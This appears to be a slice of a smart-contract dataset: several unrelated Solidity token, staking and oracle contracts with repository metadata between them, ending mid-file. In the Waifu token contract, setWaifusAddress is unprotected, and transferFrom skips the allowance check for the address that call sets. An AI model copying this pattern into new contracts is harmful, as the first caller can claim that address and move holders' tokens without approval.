_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else if(_tokenTotalDays[stakingId] == PERIOD_TRANQUILLITY){
require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_TRANQUILLITY, "Unable to Withdraw Staked token before 135 days of staking start time, Please Try Again Later!!!");
_TokenTransactionstatus[stakingId] = true;
if(now >= _tokenStakingEndTime[stakingId]){
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId));
} else {
_finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId));
itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]);
totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]);
totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.sub(_usersTokens[stakingId]);
_ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId));
}
} else {
return false;
}
return true;
}
// function to get Final Withdraw Staked value for token
function getFinalTokenStakeWithdraw(uint256 id) public view returns(uint256){
return _finalTokenStakeWithdraw[id];
}
// function to get total token stake in contract
function getTotalTokenStakesInContract() public view returns(uint256){
return totalTokenStakesInContract;
}
// function to get Token Staking address by id
function getTokenStakingAddressById(uint256 id) external view returns (address){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingAddress[id];
}
// function to get Token staking id by address
function getTokenStakingIdByAddress(address add) external view returns(uint256[]){
require(add != address(0),"Invalid Address, Pleae Try Again!!!");
return _tokenStakingId[add];
}
// function to get Token Staking Starting time by id
function getTokenStakingStartTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingStartTime[id];
}
// function to get Token Staking Ending time by id
function getTokenStakingEndTimeById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenStakingEndTime[id];
}
// function to get Token Staking Total Days by Id
function getTokenStakingTotalDaysById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _tokenTotalDays[id];
}
// function to get Staking tokens by id
function getStakingTokenById(uint256 id) external view returns(uint256){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _usersTokens[id];
}
// function to get Token lockstatus by id
function getTokenLockStatus(uint256 id) external view returns(bool){
require(id <= _tokenStakingCount,"Unable to reterive data on specified id, Please try again!!");
return _TokenTransactionstatus[id];
}
}
| 343,913 | 10,380 |
62f08b62ecd50c20a97025f92b26e32e35ff67bc385a1734ed6f927cb8c74157
| 29,083 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/8632_8765_0x76280af9d18a868a0af3dca95b57dde816c1aaf2.sol
| 3,206 | 12,197 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 burnQuantity) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
interface IWaifus is IERC721Enumerable {
function isMintedBeforeReveal(uint256 index) external view returns (bool);
}
contract WaifuEnhancementToken is Context, IERC20 {
using SafeMath for uint256;
// Constants
uint256 public SECONDS_IN_A_DAY = 86400;
uint256 public constant INITIAL_ALLOTMENT = 1830 * (10 ** 18);
uint256 public constant PRE_REVEAL_MULTIPLIER = 1;
// Public variables
uint256 public emissionStart;
uint256 public emissionEnd;
uint256 public emissionPerDay = 10 * (10 ** 18);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(uint256 => uint256) private _lastClaim;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _waifusAddress;
constructor (string memory name, string memory symbol, uint256 emissionStartTimestamp) {
_name = name;
_symbol = symbol;
_decimals = 18;
emissionStart = emissionStartTimestamp;
emissionEnd = emissionStartTimestamp + (86400 * 365 * 10);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function lastClaim(uint256 tokenIndex) public view returns (uint256) {
require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
uint256 lastClaimed = uint256(_lastClaim[tokenIndex]) != 0 ? uint256(_lastClaim[tokenIndex]) : emissionStart;
return lastClaimed;
}
function accumulated(uint256 tokenIndex) public view returns (uint256) {
require(block.timestamp > emissionStart, "Emission has not started yet");
require(IWaifus(_waifusAddress).ownerOf(tokenIndex) != address(0), "Owner cannot be 0 address");
require(tokenIndex < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
uint256 lastClaimed = lastClaim(tokenIndex);
// Sanity check if last claim was on or after emission end
if (lastClaimed >= emissionEnd) return 0;
uint256 accumulationPeriod = block.timestamp < emissionEnd ? block.timestamp : emissionEnd; // Getting the min value of both
uint256 totalAccumulated = accumulationPeriod.sub(lastClaimed).mul(emissionPerDay).div(SECONDS_IN_A_DAY);
if (lastClaimed == emissionStart) {
uint256 initialAllotment = IWaifus(_waifusAddress).isMintedBeforeReveal(tokenIndex) == true ? INITIAL_ALLOTMENT.mul(PRE_REVEAL_MULTIPLIER) : INITIAL_ALLOTMENT;
totalAccumulated = totalAccumulated.add(initialAllotment);
}
return totalAccumulated;
}
function setWaifusAddress(address waifusAddress) public {
require(_waifusAddress == address(0), "Already set");
_waifusAddress = waifusAddress;
}
function claim(uint256[] memory tokenIndices) public returns (uint256) {
require(block.timestamp > emissionStart, "Emission has not started yet");
uint256 totalClaimQty = 0;
for (uint i = 0; i < tokenIndices.length; i++) {
// Sanity check for non-minted index
require(tokenIndices[i] < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
// Duplicate token index check
for (uint j = i + 1; j < tokenIndices.length; j++) {
require(tokenIndices[i] != tokenIndices[j], "Duplicate token index");
}
uint tokenIndex = tokenIndices[i];
require(IWaifus(_waifusAddress).ownerOf(tokenIndex) == msg.sender, "Sender is not the owner");
uint256 claimQty = accumulated(tokenIndex);
if (claimQty != 0) {
totalClaimQty = totalClaimQty.add(claimQty);
_lastClaim[tokenIndex] = block.timestamp;
}
}
require(totalClaimQty != 0, "No accumulated NCT");
_mint(msg.sender, totalClaimQty);
return totalClaimQty;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
// Approval check is skipped if the caller of transferFrom is the Waifus contract. For better UX.
if (msg.sender != _waifusAddress) {
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
// ++
function burn(uint256 burnQuantity) public virtual override returns (bool) {
_burn(msg.sender, burnQuantity);
return true;
}
// ++
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 231,320 | 10,381 |
7b10fc2dc03a0e6f89d5777a7873af415f2f74f8316c97b3367c74f2b312d826
| 26,502 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x95d5F090D38456Da17222A7758b8BeA16A551eAE/contract.sol
| 4,458 | 16,394 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BabyKishuCake is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Baby Kishu Cake';
string private _symbol = 'BabyKC';
uint8 private _decimals = 9;
uint private _fee = 12;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(_fee);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 256,706 | 10,382 |
750345be4a1e7a2ba2b3bd10374c4c27a004bcd6e200c5dae5eda226a9cb565d
| 23,339 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e6/E6CA6338a360e569Bf71798CDFcaD0b5017C47B5_Oracle.sol
| 4,720 | 16,706 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
